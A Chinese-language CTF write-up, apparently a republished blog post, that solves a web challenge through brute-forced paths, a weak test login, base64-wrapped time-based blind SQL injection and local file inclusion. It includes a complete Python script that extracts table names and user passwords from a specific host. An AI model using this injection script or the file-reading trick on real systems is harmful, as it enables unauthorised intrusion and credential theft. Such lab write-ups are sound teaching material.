zoukankan      html  css  js  c++  java
  • 某平台一道ctf题

    某平台一道ctf题

    说是ctf题,其实还是更倾向于黑盒渗透的思路

    信息收集

    打开页面只有一个孤零零的403,只爆破出了info.php,phpinfo内容,以及存在/static和/user目录

    这里没其他思路,继续爆后台了,这里一开始拿我所有的字典都没爆破出来,又找了好几个,干出来一个Login.php

    发现是一个登陆页面,因为用户名输入正确时会返回密码错误,用户名输入错误时会返回无此用户,在这里测试了很久布尔盲注,以及其他各类注入发现还是不行

    又一直爆破,发现有test/test123的弱口令问题,这里有一个小坑,我的火狐在登陆成功后不会跳转,抓包看了下来源登陆页面,或者chrome就不会有这个问题

    登陆

    sql注入

    测试各个点,最终,手动输入参数aid=3

    转到

    在这里发现id进行了base64,这里还是比较可疑,通过不断地测试最终发现id可以进行时间盲注,这里坑点是一开始编写exp,没带入cookie导致一直无法注出内容

    编写exp

    # coding:utf-8
    import requests
    import datetime
    import time
    import base64
    cookie = {
    'PHPSESSID':'8qc5nhbrbtghgj6ck7f4c4gje1'
    }
    name = ''
    for j in range(1, 30):
        for i in range(1,128):
            url = 'http://121.37.189.111:8005/user/Article.php?aid=3&id='
            #payload = "1 and if(substr(database(),{},1)='{}',sleep(3),1)#".format(j, i)  #level2
            #payload = "1 and if(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'level2'),{},1)='{}',sleep(3),1)#".format(j,i)  #article,user
            #payload = "1 and if(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'user'),{},1)='{}',sleep(3),1)#".format(j,i) #id,uid,text,title,s    id,username,password
            payload = "1 and if(substr((select group_concat(password) from user),{},1)='{}',sleep(3),1)#".format(j,chr(i))      #admin,test,wanglin,      
            print(payload)
            payload = payload.encode()
            payload = base64.b64encode(payload)
            payload = str(payload,'utf-8')
            print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload,cookies=cookie)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec > 3:
                name += chr(i)
                print(name)
                break
        print('name:', name)
    
    
    

    爆出最终密码,此处省略

    登陆

    查看源码发现此处读取图片的地方很可能会有文件包含漏洞

    文件包含

    确实存在文件包含,利用此漏洞先读取此文件Home.php源代码

    //Home.php
    <?php
    error_reporting(0);
    require_once("../static/header.html");
    require_once("Base.php");
    
    $user = isUser();
    if($user=="user"){
        echo "<h2>hello ".$_SESSION['username']."</h2><br>";
        echo "我没有secret,但我有一颗...的心=。=";
        echo "<br>我的记录:<br>";
    }else if($user=="admin"){
        echo "hello ".$_SESSION['adminname'];
        echo "<br>我有个secret,是我最珍视的宝物,我就把它藏在附近!";
        echo "<img src=Read.php?filename=1605259009017.jpg width='50' height='50'>";
        echo "<br>我的记录:<br>";
    }
    
    require_once("Article.php");
    ?>
    
    

    发现包含了Base.php,继续读取

    //Base.php
    <?php
    
    function isUser()
    {
        session_start();
        //判断用户是否登陆
        if ($_SESSION['adminname'] != "") {
            return "admin";
        }else if($_SESSION['username'] != ""){
            return "user";
        }else {
            header('content-type:text/html;charset=uft-8');
            header('location:../Login.php');
            exit();
        }
    }
    
    
    //关于邀请码:
    #include("meifahufujiulaimingdu.php");
    
    

    发现hint,包含了meifahufujiulaimingdu.php继续读

    //meifahufujiulaimingdu.php
    <?php
     #关于邀请码,嗯,一目了然。
    require_once("Base.php");
    error_reporting(0);
    //$user = isUser();
    
     $url = "http://172.17.0.1:3000/code";
     $email = "";
    
    function send_post( $url , $post_data ) {
    
        $postdata = http_build_query( $post_data );
        $options = array (
            'http' => array (
                'method' => 'POST' ,
                'header' => 'Content-type:application/x-www-form-urlencoded' ,
                'content' => $postdata ,
                'timeout' => 15 * 60
            )
        );
        $context = stream_context_create( $options );
        $result = file_get_contents ( $url , false, $context );
    
        return $result ;
    }
    
    $post_data = array (
        'e' => $_POST['email']
    );
    echo send_post( $url , $post_data );
    
    
    #ps:建团?什么建团?  啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。
    
    

    代码审计

    这里file_get_contents本来应该可以读/code目录下的内容,但是访问没有,应该是扒了道题下来,没有删。看hint扔到static下面,正好记得之前有static目录,测试发现PHP文件得到flag

    总结

    黑盒测试与ctf不同的就是,其实实际难度可能不大(技术侧面),本题也无waf,直接时间盲注即可。

  • 相关阅读:
    hdu 4614 线段树 二分
    cf 1066d 思维 二分
    lca 最大生成树 逆向思维 2018 徐州赛区网络预赛j
    rmq学习
    hdu 5692 dfs序 线段树
    dfs序介绍
    poj 3321 dfs序 树状数组 前向星
    cf 1060d 思维贪心
    【PAT甲级】1126 Eulerian Path (25分)
    【PAT甲级】1125 Chain the Ropes (25分)
  • 原文地址:https://www.cnblogs.com/karsa/p/14274808.html
Copyright © 2011-2022 走看看